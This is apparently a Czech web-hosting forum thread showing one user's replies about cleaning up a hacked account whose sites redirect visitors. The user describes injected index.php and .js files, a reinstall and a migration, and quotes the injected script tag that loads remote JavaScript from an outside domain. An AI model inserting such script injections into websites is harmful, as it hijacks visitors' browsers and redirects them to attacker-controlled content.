JŠ87682 | Odpovědi

Stejné přesměrování se týká všech domén pod tímto účtem. Tedy by to vypadalo na hacknutý FTP účet? Něco jede na Wordpressu ale něco ne, přitom chyba stejný. Na plug-in bych to tedy neviděl....

Dle datumů úprav souborů na FTP jsou to index.php. Opravím si je, ale chtěl bych se zeptat jestli máte nějakou možnost zjistit jak k útoku došlo, či jak mu v budoucnu zabránit. Změním heslo...

Tak jsem zkusil udělat čistou instalaci WP. Původně to vypadalo, že všechny index.php byly napadeny s vložením "<script type='text/javascript' src='https://stat.trackstatisticsss.com/k.js?v=222'></script>"....

Dalsi poznatek je, ze cely redirect zpusobuje nejaky javascript (kdyz ho vypnu v prohliceci, vse vali). Nejaky zpusob jak relativne jednoduse odkrokovat nacitani aby se ukazalo kde a jaky javascript redirect...

Tak jsem se už prokousal alespoň jedním webem, který se mi podařilo redirectu zbavit. Přes 100 .js souborů mělo injectnuto redirect. Samozřejmě cílem je minimalizovat riziko opakování zálohami...

Doménu jsem tedy převedl pod nový uživatelský účet, vytvořil jsem novy.romeosbarber.cz a přemigroval web za pomoci automatického toolu na zkušební doménu romeosbarber.online. Bohužel nyní...

Děkuji za radu. Ano, migrace nezměnila bázovou adresu. Po změně v databázi vše začalo fungovat. Avšak po zrušení aliasu u původního hostingu a změně jména nového hostingu z novy.romeosbarber.cz...